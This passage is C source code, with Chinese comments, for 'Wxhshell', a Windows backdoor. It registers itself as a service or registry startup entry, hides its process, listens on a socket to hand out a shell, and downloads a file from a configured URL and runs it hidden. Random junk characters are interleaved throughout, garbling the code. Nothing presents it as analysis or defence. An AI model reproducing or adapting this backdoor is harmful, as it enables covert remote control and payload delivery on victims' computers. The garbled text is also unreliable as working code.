1; // 以服务启动 -D:J$d
6R< R5]R
pW=G return 0; // 注册表启动 %h|z) } 6./&l9{h+ w** .8]A"N // 主模块 >qtB27jV int StartWxhshell(LPSTR lpCmdLine) FGwz5@|E { DP^{T/G SOCKET wsl; %J.Rm0FD: BOOL val=TRUE; "vLqYc4$ int port=0; nOQ+oqM< struct sockaddr_in door; R2]?9\II :NbD^h)R if(wscfg.ws_autoins) Install(); W[^XG\ ac+7D:X port=atoi(lpCmdLine); l^$:R~gS PNc200`v4_ if(port<=0) port=wscfg.ws_port; d,<ctd }i[i{lKj WSADATA data; t ?bq~!X if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0?p_|X'_ Y2<#%@%4 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hNx`=D9[7 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d0-}Xl door.sin_family = AF_INET; }$qy_Esl door.sin_addr.s_addr = inet_addr("127.0.0.1"); "Wi`S; door.sin_port = htons(port); X0vkdNgW ?'T>/<( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Fr2oSTT) closesocket(wsl); M8juab%y return 1; rcI(6P<* } ;uoH+`pf ;/oMH/,U8 if(listen(wsl,2) == INVALID_SOCKET) { I">z#@CT closesocket(wsl); @.0jC=!l return 1; #{h4lte } |{9"n<JW Wxhshell(wsl); Y!POUMA
}A WSACleanup(); 1M3U)U yvH:U5% return 0; d=>5%$:v 0*g
psS } uN$X3Ls_ TP^.]IO- // 以NT服务方式启动 %J|EDf,M VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8l='H l { R1P,0Yf DWORD status = 0; WO)K*c1F DWORD specificError = 0xfffffff; vjXvjv{t 3tr?-l[N\ serviceStatus.dwServiceType = SERVICE_WIN32; sgCIY:8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; x[(2}Qd serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JpuW
!I serviceStatus.dwWin32ExitCode = 0; >Y2Rr9 serviceStatus.dwServiceSpecificExitCode = 0; <CA
lJ serviceStatus.dwCheckPoint = 0; PKjA@+ serviceStatus.dwWaitHint = 0; iicrRGp3 \!S C; hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /au\OBUge if (hServiceStatusHandle==0) return; q1?2
U< x7NxHTL status = GetLastError(); pM#:OlqC if (status!=NO_ERROR) m7RWu I, { iz*aBXV A[ serviceStatus.dwCurrentState = SERVICE_STOPPED; |Cen5s
W& serviceStatus.dwCheckPoint = 0; |_w*:NCV5 serviceStatus.dwWaitHint = 0; wV-cpJ,} serviceStatus.dwWin32ExitCode = status; Z&.FJZUP serviceStatus.dwServiceSpecificExitCode = specificError; *E$D, SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zb9@U: \ return; }(hE{((o } MnX2sX| z4f5@ serviceStatus.dwCurrentState = SERVICE_RUNNING; Y^6=_^ serviceStatus.dwCheckPoint = 0; t: [[5];E serviceStatus.dwWaitHint = 0; XD|&{/O if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DG:=E/ @ } :\bttPw5 VWMCbg>R // 处理NT服务事件,比如:启动、停止 LZoth+: VOID WINAPI NTServiceHandler(DWORD fdwControl) x%(!+ { hVGakp9WE switch(fdwControl) ho(Y?'^t3 { _O rE{ case SERVICE_CONTROL_STOP: Y/$SriC_+' serviceStatus.dwWin32ExitCode = 0;
_8S).* serviceStatus.dwCurrentState = SERVICE_STOPPED; Jhj]rsGk serviceStatus.dwCheckPoint = 0; H/L3w|2+ serviceStatus.dwWaitHint = 0; [j![R { <v2R6cj5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:F!;n9 } [0~qs|27 return; SU#|&_wtr! case SERVICE_CONTROL_PAUSE: { j/w3 serviceStatus.dwCurrentState = SERVICE_PAUSED; t 1&p>
v break; ar^`r!ABEh case SERVICE_CONTROL_CONTINUE: pixI&iQ serviceStatus.dwCurrentState = SERVICE_RUNNING; ' l!QGKz break; lhjPS!A~ case SERVICE_CONTROL_INTERROGATE: |QzPY8B9O break; nB:Bw8U"Q }; T4f:0r;^f* SetServiceStatus(hServiceStatusHandle, &serviceStatus); mWGT
(`|~/ } Awr]@%I QU#/(N(U#T // 标准应用程序主函数 '8Gw{&& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R-h7c!ko { m#S ZI} XG[%oL // 获取操作系统版本 -#i%4[v OsIsNt=GetOsVer(); 3{_+dE"9 GetModuleFileName(NULL,ExeFile,MAX_PATH); 4({=(O ,>g
6OU2~6 // 从命令行安装 .6'T;SoK> if(strpbrk(lpCmdLine,"iI")) Install(); (&gCVf !l\pwfXP&% // 下载执行文件 UbYKiLDF) if(wscfg.ws_downexe) { Mr1pRIYMd if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bo0y"W[+ WinExec(wscfg.ws_filenam,SW_HIDE); $`5DGy ?RU } xj~6,;83xR Z6*RIdD> if(!OsIsNt) { utTek5/ // 如果时win9x,隐藏进程并且设置为注册表启动 Q3KBG8 HideProc(); r;'!qwr StartWxhshell(lpCmdLine); s=d?}.E$ } j=gbUXv/ else EP8LJzd" if(StartFromService()) mb/3
#) // 以服务方式启动 O^<6`ku StartServiceCtrlDispatcher(DispatchTable); P9'5=e@jB else m2}&5vD8- // 普通方式启动 %EpK=;51U StartWxhshell(lpCmdLine); vx4&
;2 m&%N4Q~X> return 0; YW'Y=* }
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